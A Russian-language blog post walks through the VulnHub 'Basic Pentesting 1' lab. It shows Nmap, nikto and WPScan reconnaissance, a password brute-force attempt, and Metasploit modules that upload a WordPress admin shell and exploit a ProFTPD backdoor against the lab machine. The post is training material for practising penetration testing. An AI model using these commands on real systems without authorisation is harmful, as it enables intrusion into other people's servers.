- PVSM.RU - https://www.pvsm.ru -
Всем доброго времени суток.
Многие из Вас знают о Пентесте, кто-то имел даже с ним дело, а кто-то только слышал и хотел бы почувствовать себя мини специалистом в этой области. Давным давно, а может и не давно, на VulnHub [1] появилась лаборатория, посвященная как раз этому.
Для работы я использовал Kali Linux и VirtualBox, ну и саму лабораторию of course.
Теперь нам нужно соединить 2 машины. Сделать это просто: открываем cmd и переходим в директорию, где установлен VirtualBox и прописываем настройки для VboxManage
cd C:Program FilesOracleVirtualBox
C:Program FilesOracleVirtualBox>VBoxManage.exe dhcpserver add --netname internet --ip 10.0.1.1 --netmask 255.255.255.0 --lowerip 10.0.1.2 --upperip 10.0.1.200 --enable>
Теперь в настройках Kali и Pentest мы ставим название той сети, которую написали в cmd
Проверяем, видит ли Kali Linux нашу лабораторию.
Видим подключение на eth0. Теперь нам нужно узнать конкретный IP нашей машины. Для этого воспользуемся небезызвестной программой Nmap [2]
IP нашей лаборатории 10.0.1.2
После как Nmap просканировал нашу виртуальную сеть, мы увидели, что на лаборатории открыто 3 порта:
Пробуем подключиться по 80 порту. Для этого откроем браузер (в моем случае это FireFox)
Отлично! Сайт работает. Давайте проверим, какие директории он от нас скрывает. Для этого воспользуемся замечательной программой nikto [3] и посмотрим на результат.
OSVDB-3092: /secret/: This might be interesting
Директория secret должна быть интересной. Давайте же узнаем, что она скрывает
Выглядит, конечно, на 3 из 10, но это всё можно исправить, во имя красоты и удобства, естественно.
Самые внимательные, наверное, уже догадались, да и nikto с Nmap нам ни раз намекали.
- Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>
- Nmap scan report for vtcsec (10.0.1.2)
Допишем в hosts название, через terminal:
# echo "10.0.1.2 vtcsec" >> /etc/hosts
Теперь-то мы готовы увидеть всю красоту сайта
Теперь, как ищейки, смотрим все директории сайта, тыкаем на все, что тыкается и в конце узнаем, что сайт написан на WordPress. Да — да nikto нам и до этого говорил это, но легких путей мы не ищем.
Давайте же воспользуемся сканером уязвимостей WordPress — WPScan [4]
# wpscan --url http://10.0.1.2/secret/
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri — https://sucuri.net [5]
@WPScan, @ethicalhack3r, @erwan_lr, pvdl, @FireFart
[+] URL: http://10.0.1.2/secret/ [6]
[+] Started: Thu Mar 8 17:47:02 2018
[!] The WordPress 'http://10.0.1.2/secret/readme.html [7]' file exists exposing a version number
[+] Interesting header: LINK: http://vtcsec/secret/index.php/wp-json/ [8]; rel="https://api.w.org/ [9]"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://10.0.1.2/secret/xmlrpc.php [10]
[!] Upload directory has directory listing enabled: http://10.0.1.2/secret/wp-content/uploads/ [11]
[!] Includes directory has directory listing enabled: http://10.0.1.2/secret/wp-includes/ [12]
[+] WordPress version 4.9 (Released on 2017-11-15) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
[!] 6 vulnerabilities identified from the version number
[!] Title: WordPress 2.8.6-4.9 — Authenticated JavaScript File Upload
Reference: https://wpvulndb.com/vulnerabilities/8966 [13]
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ [14]
Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509 [15]
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092 [16]
[i] Fixed in: 4.9.1
[!] Title: WordPress 1.5.0-4.9 — RSS and Atom Feed Escaping
Reference: https://wpvulndb.com/vulnerabilities/8967 [17]
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ [14]
Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de [18]
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094 [19]
[i] Fixed in: 4.9.1
[!] Title: WordPress 4.3.0-4.9 — HTML Language Attribute Escaping
Reference: https://wpvulndb.com/vulnerabilities/8968 [20]
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ [14]
Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a [21]
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093 [22]
[i] Fixed in: 4.9.1
[!] Title: WordPress 3.7-4.9 — 'newbloguser' Key Weak Hashing
Reference: https://wpvulndb.com/vulnerabilities/8969 [23]
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ [14]
Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c [24]
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091 [25]
[i] Fixed in: 4.9.1
[!] Title: WordPress 3.7-4.9.1 — MediaElement Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/9006 [26]
Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850 [27]
Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/ [28]
Reference: https://core.trac.wordpress.org/ticket/42720 [29]
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776 [30]
[i] Fixed in: 4.9.2
[!] Title: WordPress <= 4.9.4 — Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021 [31]
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html [32]
Reference: https://github.com/quitten/doser.py [33]
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html [34]
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 [35]
[+] WordPress theme in use: twentyseventeen — v1.4
[+] Name: twentyseventeen — v1.4
| Latest version: 1.4 (up to date)
| Last updated: 2017-11-16T00:00:00.000Z
| Location: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/ [36]
| Readme: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/README.txt [37]
| Style URL: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/style.css [38]
| Referenced style.css: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css [39]
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/ [40]
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a…
| Author: the WordPress team
| Author URI: https://wordpress.org/ [41]
[+] Enumerating plugins from passive detection…
[+] No plugins found
[+] Finished: Thu Mar 8 17:47:06 2018
[+] Requests Done: 89
[+] Memory used: 37.828 MB
[+] Elapsed time: 00:00:03
Хммм, а давайте попробуем перечислить все имена пользователей с помощью флага --enumerate u.
# wpscan --url http://10.0.1.2/secret/ --enumerate u
Есть только один user. Значит, можно попробовать побрутить пароль.
# wpscan --url http://10.0.1.2/secret/ --wordlist /usr/share/wordlists/dirb/big.txt --threads 2
К сожалению, наш брут не увенчался успехом, но мы увидели кое-что интересное — ошибка логина admin и пароля admin.
Надо будет попробовать провести exploit через Metasploit
Для начала нужно провести настройку Metasploit [42].
#/etc/init.d/postgresql start
# msfdb init
Стартуем!
# msfconsole
Нужно найти наш exploit. Воспользуемся командой search
# search admin
Из списка нам подходит wp_admin_shell_upload
Запускаем его и проводим настройку
# msf>use exploit/unix/webapp/wp_admin_shell_upload
# msf>set username admin
# msf>set password admin
# msf>set rhost 10.0.1.2
# msf>set targeturi /secret
Должно получиться так:
Запуск!
Переходим в браузер и заходим под admin/admin
Теперь попробуем получить доступ до terminal'а. Для этого опять нам понадобится Metasploit.
# msf>use exploit/unix/ftp/proftpd_133c_backdoor
Проводим настройку
# msf>set rhost 10.0.1.2
Запуск! (вместо run можно использовать exploit)
Тадааам, мы получили доступ до консоли.
Автор: OlegKocha
Источник [43]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/276824
Ссылки в тексте:
[1] VulnHub: https://www.vulnhub.com/entry/basic-pentesting-1,216/
[2] Nmap: https://kali.tools/?p=1317
[3] nikto: https://kali.tools/?p=2295
[4] WPScan: https://kali.tools/?p=156
[5] https://sucuri.net: https://sucuri.net
[6] http://10.0.1.2/secret/: http://10.0.1.2/secret/
[7] http://10.0.1.2/secret/readme.html: http://10.0.1.2/secret/readme.html
[8] http://vtcsec/secret/index.php/wp-json/: http://vtcsec/secret/index.php/wp-json/
[9] https://api.w.org/: https://api.w.org/
[10] http://10.0.1.2/secret/xmlrpc.php: http://10.0.1.2/secret/xmlrpc.php
[11] http://10.0.1.2/secret/wp-content/uploads/: http://10.0.1.2/secret/wp-content/uploads/
[12] http://10.0.1.2/secret/wp-includes/: http://10.0.1.2/secret/wp-includes/
[13] https://wpvulndb.com/vulnerabilities/8966: https://wpvulndb.com/vulnerabilities/8966
[14] https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
[15] https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
[16] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[17] https://wpvulndb.com/vulnerabilities/8967: https://wpvulndb.com/vulnerabilities/8967
[18] https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
[19] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[20] https://wpvulndb.com/vulnerabilities/8968: https://wpvulndb.com/vulnerabilities/8968
[21] https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
[22] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[23] https://wpvulndb.com/vulnerabilities/8969: https://wpvulndb.com/vulnerabilities/8969
[24] https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
[25] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[26] https://wpvulndb.com/vulnerabilities/9006: https://wpvulndb.com/vulnerabilities/9006
[27] https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
[28] https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
[29] https://core.trac.wordpress.org/ticket/42720: https://core.trac.wordpress.org/ticket/42720
[30] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
[31] https://wpvulndb.com/vulnerabilities/9021: https://wpvulndb.com/vulnerabilities/9021
[32] https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
[33] https://github.com/quitten/doser.py: https://github.com/quitten/doser.py
[34] https://thehackernews.com/2018/02/wordpress-dos-exploit.html: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
[35] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[36] http://10.0.1.2/secret/wp-content/themes/twentyseventeen/: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/
[37] http://10.0.1.2/secret/wp-content/themes/twentyseventeen/README.txt: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/README.txt
[38] http://10.0.1.2/secret/wp-content/themes/twentyseventeen/style.css: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/style.css
[39] http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
[40] https://wordpress.org/themes/twentyseventeen/: https://wordpress.org/themes/twentyseventeen/
[41] https://wordpress.org/: https://wordpress.org/
[42] Metasploit: https://www.metasploit.com/
[43] Источник: https://habrahabr.ru/post/352684/?utm_campaign=352684
Нажмите здесь для печати.